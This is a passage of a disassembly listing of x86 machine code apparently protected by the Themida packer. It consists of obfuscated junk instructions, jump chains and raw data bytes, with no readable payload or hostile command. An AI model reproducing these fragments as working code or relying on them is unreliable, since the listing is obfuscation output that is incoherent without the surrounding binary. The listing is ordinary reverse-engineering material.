0D5E9750Ch db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554EEB: ; CODE XREF: Themida_:00547B8Bj sub ecx, 1 xchg esi, ecx not esi push ecx push esi pop ecx jmp loc_546E60 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 87000000h, 0E95C240Ch, 0FFFFBF48h, 8B66C828h, 0C483240Ch dd 467E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554F1A: ; CODE XREF: Themida_:0054EE49j add esp, 4 add bl, al jmp loc_547D4C ; --------------------------------------------------------------------------- db 0B8h dd 31210D63h, 5A200335h, 0E9C52976h, 0FFFEEBB1h, 0BD665566h dd 83E945EAh db 44h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554F43: ; CODE XREF: Themida_:0054CE1Aj mov edi, ebx pop ebx jmp loc_554B4B ; --------------------------------------------------------------------------- loc_554F4B: ; CODE XREF: Themida_:0054A570j mov edi, [esp] push ecx push esp pop ecx add ecx, 4 push ebp push 4 mov ebp, [esp] add esp, 4 jmp loc_555DFD ; --------------------------------------------------------------------------- db 66h dd 0B1240C89h, 9A78E942h, 0E952FFFFh, 0FFFFEC4Bh, 0F0005BEh dd 0C4DE901h, 81660000h, 66764AEBh, 0A9E9D329h, 51FFFF49h dd 0CA88BEB1h, 0E9240C8Bh, 0FFFFA7A5h, 4C481h, 0C3290000h dd 8324048Bh, 0EB0104C4h, 33EC381h, 0D4E9460Ah, 0B600001Ah dd 7EEC0A6h, 0FFB953E9h, 0C1815DFFh, 121D02DCh, 57C0BA52h dd 0EAC1707Eh, 0D2F74202h, 0D9E9DAF7h, 83FFFF12h, 69E904C4h dd 8100000Dh, 4C1h, 4C18100h, 87000000h, 38E9240Ch, 0BBFFFF4Fh dd 496161C2h, 0E95BD829h, 0FFFF4C18h, 593E712Dh, 1E3E934h dd 34870000h, 24248B24h, 4D2C68h, 2579E900h, 1C33FFFFh dd 0C83B5C24h, 0E26DE99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55502E: ; CODE XREF: Themida_:00555F52j push edi jmp loc_552CC9 ; --------------------------------------------------------------------------- dd 41D7EA81h, 5642615Ch, 0FC099DBEh, 5EF231D4h, 8904EC83h dd 0D0892404h, 0C1895157h, 98E9CF89h, 8BFFFFCFh, 8B662424h dd 0EC832404h, 241C8904h, 0E9E68956h, 0FFFF6601h ; --------------------------------------------------------------------------- loc_55506C: ; CODE XREF: Themida_:00544D7Dj ; Themida_:loc_552127j push 5B45h mov [esp], ebx push 6C6Fh mov [esp], ebp push esi mov esi, 7B2461B6h push 97Fh mov [esp], edi push eax mov eax, esi mov edi, eax pop eax sub esp, 4 jmp loc_54DE3F ; --------------------------------------------------------------------------- db 81h dd 0AD0263F5h, 0BBE5642h, 8174765Fh, 0AA2549CEh, 0C6814648h dd 7A805E44h, 0F6AAF681h, 0F501D2E1h, 0A5E9575Eh db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5550C3: ; CODE XREF: Themida_:005439BAj add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 217Dh mov [esp], ecx jmp loc_54C756 ; --------------------------------------------------------------------------- loc_5550DD: ; CODE XREF: Themida_:00549701j xchg eax, [esp] pop esp mov [esp], esi mov esi, 3B644791h push edi push ebx jmp loc_54CE15 ; --------------------------------------------------------------------------- dd 5D85EB81h, 34FF04B9h, 89575824h, 4C781E7h, 81000000h dd 4C7h, 243C8700h, 0E9555Ch db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555113: ; CODE XREF: Themida_:0054B74Bj mov esi, 0BAC2071Ch add esi, edx pop edx push ecx mov ecx, 2CBC41E6h xor esi, ecx jmp loc_55116E ; --------------------------------------------------------------------------- loc_555128: ; CODE XREF: Themida_:005543B5j pop esi xor edx, 1BDA61BBh push edx add dword ptr [esp], 2FF01F99h mov ebx, [esp] jmp loc_54F348 ; --------------------------------------------------------------------------- db 89h dd 0CB895AD1h, 3D30159h, 652AE903h, 505AFFFFh, 1D4B6AB8h dd 3938E91Ah, 0E589FFFFh, 4C581h, 0C5810000h, 4, 0FF2244E9h dd 9DBB53FFh, 4369F752h, 0E906E3C1h, 0FFFF411Dh ; --------------------------------------------------------------------------- loc_55517C: ; CODE XREF: Themida_:0054BC88j add ebp, 0FFE7FBFEh mov edi, ebp pop ebp jmp loc_55533B ; --------------------------------------------------------------------------- dw 2C89h dd 2FC7BD24h, 39BF070Eh, 2915BB42h, 3F9CE9EFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55519E: ; CODE XREF: Themida_:00555E94j mov esp, [esp] xor eax, edx xor edx, eax xor eax, edx push 3590h mov [esp], ebp push 14C9h mov [esp], edi push 72E948D4h jmp loc_54AB9B ; --------------------------------------------------------------------------- dd offset dword_450050+0F518h align 2 dw 2C89h dd 0ABBB5324h, 0BD0CEC45h, 0F313BA59h, 575BDD01h, 0DC5F05BFh dd 6EFC15Fh, 0FF6FE7E9h, 4EC680FFh, 0FF5712E9h, 4C483FFh dd 0FF9805E9h, 0E88359FFh, 74FF5004h, 48B0424h, 0E2895224h dd 0FEEFD8E9h, 0EC815BFFh, 4, 0BE243489h, 617631C2h, 685EF029h dd 4E1Ah, 0E9240C89h, 0FFFFFC3Bh, 1C8BB92Ch, 0E6895624h dd 4C681h, 0C6810000h, 4, 5C243487h, 34FF6A2Ch, 0C4815A24h dd 4, 1B5868h, 24148900h, 0F680ACB6h, 894E9B1h, 0B60F0000h dd 8734FFC0h, 85968h, 2B4FE900h, 4810000h, 424h, 0EF86E900h db 0FEh, 0FFh word_55527A dw 55ADh ; DATA XREF: Themida_:00543078o dd 0FF6761E9h, 0BFBD55FFh, 0C128594Eh, 0ED8103EDh, 8057419h dd 81DDF74Dh, 78CF71F5h, 5DE831DCh, 0D66B2E05h, 0E9D82905h dd 0FFFFD181h ; --------------------------------------------------------------------------- loc_5552A8: ; CODE XREF: Themida_:0054EBF0j push 745Ah jmp loc_54D40E ; --------------------------------------------------------------------------- dw 487h dd 87D0F724h, 815A2404h, 77CAB6EAh, 5AD30100h, 8B241C87h dd 0FF662424h, 0E99C240Ch, 0FFFEDFC7h ; --------------------------------------------------------------------------- loc_5552D4: ; CODE XREF: Themida_:0054B626j pop eax push ebx push ebp push 4 pop ebp mov ebx, ebp pop ebp add eax, ebx pop ebx push 1C74h mov [esp], ebx jmp loc_54F26E ; --------------------------------------------------------------------------- loc_5552F0: ; CODE XREF: Themida_:005509CDj pop ebx and ebx, 296D3B54h jmp loc_54FF55 ; --------------------------------------------------------------------------- loc_5552FC: ; CODE XREF: Themida_:00549E5Cj mov ecx, 3E5D5255h jmp loc_54F8E2 ; --------------------------------------------------------------------------- dw 0DA01h dd 0FF46C3E9h, 5FDEB8FFh, 0C68940AEh, 0FF322AE9h, 7E9C1FFh dd 0ECCBC181h, 0CF89717Bh, 0D5E78159h, 8122BC6Bh, 0BFF3D7EFh dd 5FFB2912h, 0DE9C301h db 24h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55533B: ; CODE XREF: Themida_:00555185j mov ebx, edi pop edi push ebx push edi mov edi, 5C461F58h add dword ptr [esp+4], 7E6E64B3h sub [esp+4], edi sub dword ptr [esp+4], 7E6E64B3h pop edi pop esi add esi, 5C461F58h jmp loc_5565A1 ; --------------------------------------------------------------------------- dw 4C01h dd 5D590424h, 5554ED81h, 148B2B63h, 4C48124h, 52000000h dd 0FFF67FE9h, 4D800FFh, 51DA2CF7h, 0DDF6B9B5h, 0C4ED80h dd 5A6859E8h, 0E9000008h, 0FFFFDA5Ah, 241C875Fh, 71AE95Ch db 2 dup(0FFh) word_5553A6 dw 8B66h ; DATA XREF: Themida_:00543088o dd 0EC832404h, 0FEAE904h, 0F5810000h, 0D97DC139h, 815DEE31h dd 0A7F07C6h, 8BF229F8h, 0C4832434h, 0E9D52104h, 0FFFEF911h dd 5B2434FFh, 4C481h, 14680000h, 89000036h, 0E3E92414h dd 0BDFFFF76h, 0B59ED914h, 15DE931h, 240C8BCFh, 0ABEE9h db 0 ; --------------------------------------------------------------------------- loc_5553F9: ; CODE XREF: Themida_:0054C4A5j add ecx, edx mov edx, [esp] jmp loc_54E3D1 ; --------------------------------------------------------------------------- db 81h dd 0ED3D06C6h, 47ED816Bh, 14DC357h, 47C581F5h, 8B4DC357h dd 0F6E92434h, 66FFFF0Ah, 5024048Bh, 0FF6691E9h, 53E9BAFFh dd 0D00963E3h, 2B892D5Ah, 0CE0518F0h, 1058505h, 23C1E9C2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555442: ; CODE XREF: Themida_:0054D801j sub esi, 2EF41C0h not esi xor esi, 3E5B217Bh add edi, esi pop esi sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], edi push edx push esi mov esi, 0AD038BCh mov edx, esi pop esi mov edi, 0AD048BCh add edi, 15F449DFh sub edi, edx jmp loc_54E57E ; --------------------------------------------------------------------------- loc_55547B: ; CODE XREF: Themida_:00555D26j push eax mov eax, 4 add ecx, eax pop eax push ebx mov ebx, 4 add ecx, ebx jmp loc_551C12 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0FF1545E9h, 4AE954FFh db 2Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55549F: ; CODE XREF: Themida_:00545E6Bj pop eax push 2087h mov [esp], eax push esp pop eax push ebx mov ebx, 116D15A3h not ebx inc ebx xor ebx, 77086C72h not ebx add ebx, 0FFFFFFFFh jmp loc_54352F ; --------------------------------------------------------------------------- byte_5554C3 db 0FFh ; DATA XREF: Themida_:0054300Co dd 34FF2434h, 0C4815924h, 4, 81E18951h, 4C1h, 4E98100h dd 0E9000000h, 0FFFF8AF3h, 4E04C483h, 0F681DEF7h, 9C5135A1h dd 0BFE9F189h, 8100001Ch, 4ECh, 242C8900h, 0E957E589h dd 0FFFFE358h, 6FB2BA52h, 66E93856h, 1FFFFA4h, 24148BD6h dd 0FF9944E9h, 4BBFFh, 0DA010000h, 2414875Bh, 4EC815Ch dd 0E9000000h, 2AD8h, 8904EC83h, 0E189240Ch, 5F9268h, 24348900h dd 0F31F4FBEh, 6EEC167h, 0C681DEF7h, 29230CD8h, 0D7D7BA52h dd 0D6292068h, 2F5AE95Ah, 0FD01FFFFh, 6A67E95Fh, 8951FFFFh dd 59CB89D1h, 65B9515Ah, 19502DCh, 5BE959CBh, 81FFFFAAh dd 0CF374DE9h, 1100E9AEh, 2C89FFFFh, 0A68AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555592: ; CODE XREF: Themida_:00546D6Aj sub esp, 2 mov [esp], cx mov ch, 49h sub al, ch pop cx sub al, 30h mov edx, [esp] add esp, 4 push edx mov edx, esp push 49B5h mov [esp], ecx push esi mov esi, 20B22898h shr esi, 8 jmp loc_5547F6 ; --------------------------------------------------------------------------- loc_5555C0: ; CODE XREF: Themida_:0054DCA6j pop esi sub esp, 4 jmp loc_54375A ; --------------------------------------------------------------------------- dd 0BA241489h, 531C3D4Ah, 6012C281h, 0E2814CD0h, 1DFC5118h dd 6814C281h, 0EA8105DBh, 4E066D87h, 0C281DAF7h, 0D5C10BA9h dd 34FFD001h, 0C4835A24h, 0BE565304h, 686D5B09h, 0D15EF389h dd 10F381E3h, 5D0DAB6h, 6B9D732Bh, 2B2DD801h, 5B6B9D73h dd 31240433h, 4332404h, 0D3665C24h, 0E99C2424h, 0FFFEDC6Bh dd 0EBED8145h, 55E45B66h, 81B0E959h, 0E95CFFFFh, 0FFFFFDDBh ; --------------------------------------------------------------------------- loc_555644: ; CODE XREF: Themida_:0054BAB5j pop eax jmp loc_54FEBE ; --------------------------------------------------------------------------- loc_55564A: ; CODE XREF: Themida_:0054B740j push 756Eh mov [esp], ebx jmp loc_55426E ; --------------------------------------------------------------------------- loc_555657: ; CODE XREF: Themida_:00551764j pop edi add edx, ebp pop ebp xor edx, [esp] xor [esp], edx jmp loc_54D98F ; --------------------------------------------------------------------------- dw 0F756h dd 815E2414h, 6FF7D5C6h, 2B0AE919h, 815AFFFFh, 5257B8C3h dd 0C36AE915h, 0F6B2FFFFh, 0D03001B0h, 16B6525Ah, 0E9BBEE80h dd 0FFFF41AFh ; --------------------------------------------------------------------------- loc_555694: ; CODE XREF: Themida_:0054C2A8j mov esi, 1F347C23h or edi, esi pop esi push eax mov eax, 1273EC86h jmp loc_54EB8F ; --------------------------------------------------------------------------- db 80h dd 0E300D6EBh, 8BD6C380h, 0EC812404h, 4, 0FFAB4AE9h, 243489FFh dd 0FFC2ADE9h, 348435FFh, 0C7897041h, 28B95158h, 165F664h dd 240C8BCFh, 8104C483h, 406246EFh, 31C7812Eh, 29372C3Eh dd 12BCE9CFh, 0B8500000h, 758B1DBDh, 3B5EDF0Dh, 3AFB2D17h dd 0ABE958D8h, 81FFFF08h, 0C7F9C5C5h, 5DEB89BCh, 0E95FFB29h dd 0FFFF41A9h ; --------------------------------------------------------------------------- loc_555714: ; CODE XREF: Themida_:00552EAFj and ebp, 44F86A31h jmp loc_544709 ; --------------------------------------------------------------------------- db 89h dd 4BE2434h, 1000000h, 0C5DBE9F3h, 555CFFFFh, 65B68h, 24248900h dd 4240483h, 53B9515Dh, 8163B32Ah, 0E81742F1h, 81D9F778h dd 0DE77D2C1h, 0FF98E92Dh, 2C89FFFFh, 22C66824h, 3C890000h dd 3686624h, 665F665Eh, 0E907E7C1h, 876h, 2B9h, 0E9CB0100h dd 0FFFFCA8Ch, 72E1BE56h, 0CCE91B73h, 5BFFFF9Dh, 0FF3D1FE9h dd 0E9CA89FFh, 0FFFF6105h ; --------------------------------------------------------------------------- loc_555794: ; CODE XREF: Themida_:0054ED52j add edi, 20242807h pop esi shr edi, 4 push ebx push ecx mov ecx, 4424602Fh mov ebx, ecx pop ecx sub ebx, 40E34788h dec ebx shl ebx, 1 neg ebx push ebx xchg ebx, [esp] jmp loc_54618D ; --------------------------------------------------------------------------- dd 4B951h, 0C8010000h, 24048759h, 5124248Bh, 0FF1013E9h db 0FFh ; --------------------------------------------------------------------------- loc_5557D1: ; CODE XREF: Themida_:0054D7E9j mov [edx], bh pop edx pop ecx pop ebx jmp loc_54329B ; --------------------------------------------------------------------------- db 0FEh dd 56E580C5h, 0FE0AF580h, 4ED80C5h, 0E9CCC580h, 1D23h dd 0F663E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5557F6: ; CODE XREF: Themida_:0054F16Cj add esp, 4 add esp, 4 add al, 2Bh add al, bl jmp loc_54C764 ; --------------------------------------------------------------------------- loc_555808: ; CODE XREF: Themida_:0055375Dj mov dl, bl pop ebx mov cl, dl jmp loc_54679F ; --------------------------------------------------------------------------- dw 0F229h dd 2414875Eh, 48F545Ch, 0DC7FE924h, 48FFFFEh, 34895C24h dd 81E68924h, 4ECh, 266E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555836: ; CODE XREF: Themida_:00551203j pop esp add edi, 0FCBC7FD9h jmp loc_5564CC ; --------------------------------------------------------------------------- dw 0C481h dd 4, 768C331h, 8900005Ch, 8150240Ch, 6B6F2434h, 0E5E95291h db 1Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55585F: ; CODE XREF: Themida_:00546C33j sub ebp, eax jmp loc_556B93 ; --------------------------------------------------------------------------- dw 0EF81h dd 3B9B7032h, 0E9240C8Bh, 5AAh, 4C181h, 29E90000h, 30FFFF80h dd 0A61FE9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555886: ; CODE XREF: Themida_:00550654j mov edi, 38A9455Fh xor edi, 3F0208D6h jmp loc_54D959 ; --------------------------------------------------------------------------- loc_555896: ; CODE XREF: Themida_:00551356j mov ebp, [esp] jmp loc_558340 ; --------------------------------------------------------------------------- dw 3489h dd 4877BE24h, 81566B1Fh, 3DDD242Ch, 0E95F62B8h, 0FFFF556Bh dd 3BE95653h, 100000Ch, 0B5E95DE8h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5558C3: ; CODE XREF: Themida_:0054C401j xor ebp, 3C1C4F80h xor ebp, 8811BD10h jmp loc_5517B3 ; --------------------------------------------------------------------------- dd 0EB809FB3h, 0D5EB80BAh, 8050E380h, 0D4E9B1F3h db 16h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5558E7: ; CODE XREF: Themida_:0054B13Cj push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_54FF24 ; --------------------------------------------------------------------------- loc_5558F6: ; CODE XREF: Themida_:005480BAj or ebp, 15450A2h or ebp, 314139A9h xor ebp, 78905F23h jmp loc_5531D7 ; --------------------------------------------------------------------------- loc_55590D: ; CODE XREF: Themida_:005435F3j push eax mov eax, 1CFB406Bh dec eax inc eax not eax jmp loc_543C2C ; --------------------------------------------------------------------------- dd 0EB81F329h, 2AD436A0h, 8324348Bh, 0FF5304C4h, 5B042474h dd 5C24048Fh, 24048966h, 0FED95EE9h, 24248BFFh, 0E9028864h dd 0FFFFE340h, 223D5AB9h, 2E9C112h, 0F5FBB53h, 80E9603Ch dd 0B9000017h, 10E00EC9h, 0FF3574E9h, 5FFE89FFh, 8247429h dd 0FFB219E9h db 0FFh ; --------------------------------------------------------------------------- loc_555971: ; CODE XREF: Themida_:00551346j mov [esp], ebx push edi jmp loc_546CE8 ; --------------------------------------------------------------------------- dw 8157h dd 571D2434h, 0E95A3BAFh, 0FFFEEDE5h, 432268h, 241C8900h dd 2BBh, 3AA9E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55599A: ; CODE XREF: Themida_:00544F5Dj push 432Bh jmp loc_557773 ; --------------------------------------------------------------------------- dd 0ED814D59h, 2B2536A2h, 0F0E9EF01h db 19h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5559B3: ; CODE XREF: Themida_:005498B8j xchg esi, [esp] pop esp xor edx, ecx pop ecx jmp loc_5537F5 ; --------------------------------------------------------------------------- db 81h dd 0BAE029C1h, 59CE29EAh, 5C243487h, 0BE243489h, 4, 1CF3EF81h dd 0F70108FEh, 1CF3C781h, 34FF08FEh, 0B4E95E24h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5559EB: ; CODE XREF: Themida_:005489C7j mov edx, 76C0208Eh jmp loc_54D901 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 89000000h, 24148BD3h, 0E9E28952h, 0FFFF25EDh ; --------------------------------------------------------------------------- loc_555A08: ; CODE XREF: Themida_:005549E1j mov eax, esp jmp loc_554D5A ; --------------------------------------------------------------------------- loc_555A0F: ; CODE XREF: Themida_:0054BCB0j xor ebx, esi mov esi, [esp] add esp, 4 jmp loc_54500D ; --------------------------------------------------------------------------- db 5Ah dd 0FF2D19E9h db 0FFh ; --------------------------------------------------------------------------- loc_555A25: ; CODE XREF: Themida_:0054E720j xor eax, ebx pop ebx mov edx, eax pop eax pop edi and eax, edx pop edx or eax, eax jnz loc_5537FB mov edx, 16792FC7h add edx, 277AFFA4h push esi jmp loc_554AC9 ; --------------------------------------------------------------------------- loc_555A48: ; CODE XREF: Themida_:0054BD07j mov [esp], esi jmp loc_54E048 ; --------------------------------------------------------------------------- loc_555A50: ; CODE XREF: Themida_:0054C6EAj push ebx push esp jmp loc_549321 ; --------------------------------------------------------------------------- loc_555A57: ; CODE XREF: Themida_:00555E53j sub esi, edi jmp loc_556D85 ; --------------------------------------------------------------------------- dw 0E668h dd 8B4D3020h, 0C4812414h, 4, 47EEBB53h, 0F381413Ah, 1C815A3Eh dd 0E95BDA21h, 0FFFFD7D1h ; --------------------------------------------------------------------------- loc_555A80: ; CODE XREF: Themida_:00544915j pop ecx pop dword ptr [esp] pop esp mov [esp], ebx jmp loc_544832 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 0FF19E8E9h, 0BDF181FFh, 0E94E9308h, 0FFFFFCEDh ; --------------------------------------------------------------------------- loc_555AA0: ; CODE XREF: Themida_:005515B9j push ebp mov ebp, 3B57FC8h shl ebp, 5 xor ebp, 44CF5E09h add ebp, 17BD005Eh jmp loc_54ECA0 ; --------------------------------------------------------------------------- dw 38B9h dd 0E9703A77h, 0FFFF7C22h, 5758C631h, 4C695DBFh, 10CF811Ah dd 4739D024h, 7A07F781h, 0FE01C320h, 8BF2295Fh, 0C4832434h dd 0D7B1E904h, 34FFFFFEh, 5C64E924h, 0EE80FFFFh, 1BA26809h dd 1C890000h, 2358E924h, 0E300FFFFh, 51EB2858h, 0E58015B5h dd 7763E981h db 2 dup(0FFh) word_555B12 dw 34FFh ; DATA XREF: Themida_:00543044o dd 2434FF24h, 19866859h, 2CE90000h db 75h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555B23: ; CODE XREF: Themida_:00543975j push esi pop ecx pop esi sub ecx, 66597Bh add ebp, ecx mov ecx, [esp] add esp, 4 jmp loc_550894 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 5F24248Bh, 0E95EF229h, 0FFFF125Fh ; --------------------------------------------------------------------------- loc_555B48: ; CODE XREF: Themida_:00556A27j mov eax, 285C280Ch mov ebx, 1D4869A1h xor ebx, eax pop eax jmp loc_5535A4 ; --------------------------------------------------------------------------- loc_555B5A: ; CODE XREF: Themida_:005537A0j pop eax add ebp, 4 xchg ebp, [esp] mov esp, [esp] push edx jmp loc_5573E8 ; --------------------------------------------------------------------------- db 31h, 0E8h, 5Dh dd 0DAD3902Dh, 0D8FFE90Fh, 0E95DFFFEh, 1B1Ch, 539DEE80h dd 69E9F388h, 81FFFF83h, 51767EC6h, 241C8B56h, 3304C483h dd 34312434h, 24343324h, 2404875Ch, 0D6F1E95Ch, 0ECE9FFFEh dd 81FFFED6h, 4C2h, 70BF5700h, 555A240Ah, 39CC6853h, 1C8B5A61h dd 0E1895124h, 4C181h, 1BE90000h, 89FFFF72h, 0EE95EF2h dd 0D1FFFF14h, 0CCCF81EFh, 81626154h, 8B25FDEFh, 0C2F7814Dh dd 0C13A8720h, 0EF8104E7h, 0B677111Eh, 875FFB01h, 0EEE9241Ch db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555C03: ; CODE XREF: Themida_:0054F8F2j add esp, 4 push dword ptr [edi+1Ch] sub dword ptr [esp], 731028C3h jmp loc_54A05A ; --------------------------------------------------------------------------- db 89h, 0EBh, 5Dh dd 0FF53D4E9h db 0FFh ; --------------------------------------------------------------------------- loc_555C1D: ; CODE XREF: Themida_:0054E586j mov eax, [esp] add esp, 4 push dword ptr [esp] pop edx add esp, 4 and eax, edi mov edi, [esp] push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi pop edi push 4070h mov [esp], ebx jmp loc_55491C ; --------------------------------------------------------------------------- dd 8B243C87h, 1C872424h, 24248B24h, 9CC83B66h, 0FED63EE9h dd 0E9DDF7FFh, 0FFFFCA7Dh ; --------------------------------------------------------------------------- loc_555C64: ; CODE XREF: Themida_:00543A68j mov edx, 27A2515Dh inc edx add edx, 0C6C393F6h mov ebx, edx jmp loc_555D01 ; --------------------------------------------------------------------------- loc_555C77: ; CODE XREF: Themida_:00553EE3j add esp, 4 shr edx, 1 shl edx, 4 sub edx, 8BD7C094h sub ecx, edx pop edx push dword ptr [esp] pop eax add esp, 4 jmp loc_545921 ; --------------------------------------------------------------------------- dd 0DFE9F731h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555C9B: ; CODE XREF: Themida_:0055246Cj sub esi, 70152AF8h sub esi, edx jmp loc_543353 ; --------------------------------------------------------------------------- dd 5345EB87h, 0DD77E955h, 0BF57FFFEh, 65F8268h, 710CC281h dd 0ABE92E8Eh db 1Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555CC3: ; CODE XREF: Themida_:0054A326j mov esi, edx pop edx dec esi push ebx mov ebx, 0BB3EFC04h add esi, ebx pop ebx jmp loc_54C9FB ; --------------------------------------------------------------------------- loc_555CD5: ; CODE XREF: Themida_:00547394j sub esp, 4 mov [esp], edi push esp pop edi add edi, 4 push esi jmp loc_5498E2 ; --------------------------------------------------------------------------- dd 1010E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555CF2: ; CODE XREF: Themida_:0054FAFBj dec ebx dec ebx sub ebx, 0D4401258h mov edx, ebx jmp loc_545139 ; --------------------------------------------------------------------------- loc_555D01: ; CODE XREF: Themida_:00555C72j pop edx add ecx, ebx pop ebx add eax, ecx mov ecx, [esp] add esp, 4 jmp loc_551608 ; --------------------------------------------------------------------------- loc_555D15: ; CODE XREF: Themida_:0054400Ej add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ecx mov ecx, esp jmp loc_55547B ; --------------------------------------------------------------------------- loc_555D2B: ; CODE XREF: Themida_:0054C1BFj pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], ebp push 701Bh mov [esp], esi push ebp mov ebp, 6EB715BDh mov esi, ebp jmp loc_551717 ; --------------------------------------------------------------------------- dw 0E95Bh dd 2DEh, 3FEEF81h, 0C701158Bh, 3FEC781h, 0C781158Bh, 52D903D2h dd 49C8E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555D6A: ; CODE XREF: Themida_:0054CF7Cj xchg edi, [esp] pop esp mov [esp], esi jmp loc_5498AD ; --------------------------------------------------------------------------- dw 1C8Bh dd 0E6895624h, 4BF57h, 0FE010000h, 0FF6B31E9h db 0FFh ; --------------------------------------------------------------------------- loc_555D89: ; CODE XREF: Themida_:0054997Aj add esi, 4 jmp loc_55062D ; --------------------------------------------------------------------------- dd 0D8282204h, 66E8B151h, 0E9CAB252h, 0FFFFBCC4h, 6052EB81h dd 53523C93h, 161955BBh, 631ABA40h, 0DA013D45h, 5AD3015Bh dd 5A2434FFh, 0E904C483h, 0FFFFEECFh, 67F5E181h, 414943A8h dd 0FEF071E9h, 1C683FFh, 6AECE681h, 0F6815355h, 2E4ED3D0h dd 348BF201h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54DC34 ; --------------------------------------------------------------------------- db 52h dd 0FF8CA7E9h db 0FFh ; --------------------------------------------------------------------------- loc_555DFD: ; CODE XREF: Themida_:00554F66j add ecx, 11A1DDFh add ecx, ebp sub ecx, 11A1DDFh pop ebp jmp loc_556804 ; --------------------------------------------------------------------------- db 66h, 0B8h, 6Ah dd 160D6608h, 0E932E95Bh, 0C483FFFEh, 243C3304h, 0E9243C31h dd 0FFFF045Ch ; --------------------------------------------------------------------------- loc_555E2C: ; CODE XREF: Themida_:00556291j xor ebp, 59157D92h add ebp, 0D03E8AF2h add eax, ebp mov ebp, [esp] add esp, 4 sub eax, 4 xchg eax, [esp] jmp loc_55807C ; --------------------------------------------------------------------------- loc_555E4D: ; CODE XREF: Themida_:00545455j sub edi, 0C72F0962h jmp loc_555A57 ; --------------------------------------------------------------------------- loc_555E58: ; CODE XREF: Themida_:00547A5Bj pop edx add edx, 4 push 6D27h mov [esp], ebp mov ebp, 4004039h inc ebp add ebp, 0FBFFBFCAh add edx, ebp mov ebp, [esp] push 3894h mov [esp], edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] xchg edx, [esp] jmp loc_55519E ; --------------------------------------------------------------------------- loc_555E99: ; CODE XREF: Themida_:005444E7j add esp, 4 jmp loc_54B730 ; --------------------------------------------------------------------------- loc_555EA1: ; CODE XREF: Themida_:0055075Fj xor edi, 3C8341F0h jmp loc_5544C8 ; --------------------------------------------------------------------------- loc_555EAC: ; CODE XREF: Themida_:0054BC01j sub ebx, ecx pop ecx xchg ebx, [esp] jmp loc_557EB5 ; --------------------------------------------------------------------------- db 83h dd 0F72904C4h, 1BB0BE56h, 0E6C17713h, 46DEF702h, 87F6814Eh dd 81426A1Ah, 2283D6C6h, 5EF729D4h, 5624348Bh, 10EAE9h dd 5FFD3100h, 0FED8BDE9h, 0F5BD55FFh, 0E974FB77h, 0FFFF3123h dd 241C8B54h, 0FF04DCE9h, 48B66FFh, 5D545524h, 8E5B951h dd 0E1811A79h, 73D17D0Bh, 0FF5723E9h, 58C129FFh, 0DD0E981h dd 10E915A1h, 5CFFFF49h, 5C243C87h, 0FEF11EE9h, 8AE959FFh dd 0C0FFFF9Dh, 0C3FE03E3h, 0FEE04AE9h db 0FFh ; --------------------------------------------------------------------------- loc_555F3D: ; CODE XREF: Themida_:00556CE4j inc edi push ecx jmp loc_54EDF3 ; --------------------------------------------------------------------------- loc_555F44: ; CODE XREF: Themida_:00549B44j mov ebx, [esp] add esp, 4 add esi, 0DFE0A3E8h push eax push esi jmp loc_55502E ; --------------------------------------------------------------------------- db 56h dd 4BEh, 5EF00100h, 4EC81h, 1C890000h, 2BB24h, 0D8010000h dd 2404335Bh, 0FF1A9EE9h, 8BC288FFh, 0C4812404h, 4, 8093EB80h dd 0D30048C3h, 0E948EB80h, 0FFFF0847h ; --------------------------------------------------------------------------- loc_555F94: ; CODE XREF: Themida_:0054744Bj dec ebx add ebx, 5FC417Ch add ebx, 6FA10A7Dh push eax mov eax, 2B5B4913h inc eax add eax, 0AA3DE760h add ebx, eax pop eax shr ebx, 3 sub esp, 4 mov [esp], edx mov edx, 0B205347h and edx, 57567DAAh or edx, 3F101D30h shr edx, 1 dec edx jmp loc_54633D ; --------------------------------------------------------------------------- dw 0E956h dd 0FFFEF741h, 81243C8Bh, 4C4h, 0DD4BE900h, 6652FFFEh dd 0E9238CBAh, 0FFFFBF56h, 21E95659h, 2CFFFF68h, 93B1519Dh dd 2859C828h, 80E953D8h, 1FFFF98h, 0E4CE9DAh, 8B66FFFFh dd 8951240Ch, 4EC83E1h, 0FF5C98E9h, 2522BFFFh, 0E781495Ah dd 6EA46656h, 7F1E947h, 0E901FFFFh, 767EBB53h, 0D9016789h 